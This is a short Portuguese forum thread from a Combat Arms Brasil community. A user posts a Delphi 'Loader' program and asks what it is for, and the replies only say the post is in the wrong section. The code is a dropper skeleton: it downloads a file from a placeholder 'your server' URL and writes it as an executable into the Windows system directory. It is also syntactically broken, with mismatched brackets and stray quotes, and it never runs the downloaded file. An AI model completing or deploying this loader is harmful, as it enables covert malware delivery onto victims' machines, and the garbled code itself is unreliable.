cabr (combat arms brasil) para que serve esse código ?

[gomes562 0]

alguem pode me ajudar

 

para que serve esse codigo ?

 

program Loader;

 

{$APPTYPE GUI}

 

uses

Windows, UrlMon;

 

function Path_(Dir: string): string;

begin

Result := Dir;

if (Dir[Length(Dir)} <>'\') then

Result := Dir + '\';

end;

 

function PASTA: string:

var

MeuBuffer: Array [0..255] of Char;

retorno: Integer;

begin

retorno := GetSystemDirectory(@MeuBuffer, SizeOf(MeuBuffer));

if (retorno > 128) or (retorno =0) then

PASTA :="

else

PASTA := MeuBuffer;

end;

 

begin

URLDownloadToFile(nil,", //URL DO SEU SERVER

PChar(path_(PASTA) + 'nome.exe'), SW_NORMAL);

end.

[-Nome_FheY- 0]

Tópico em ÁREA errada,

Antes de postar um tópico leia as Regras e use a

ferramenta Pesquisar !

 

@AbraçosS

[JumpNew 0]

Topico em Area Errada a Area Certa Seria Duvidas,

Abracz~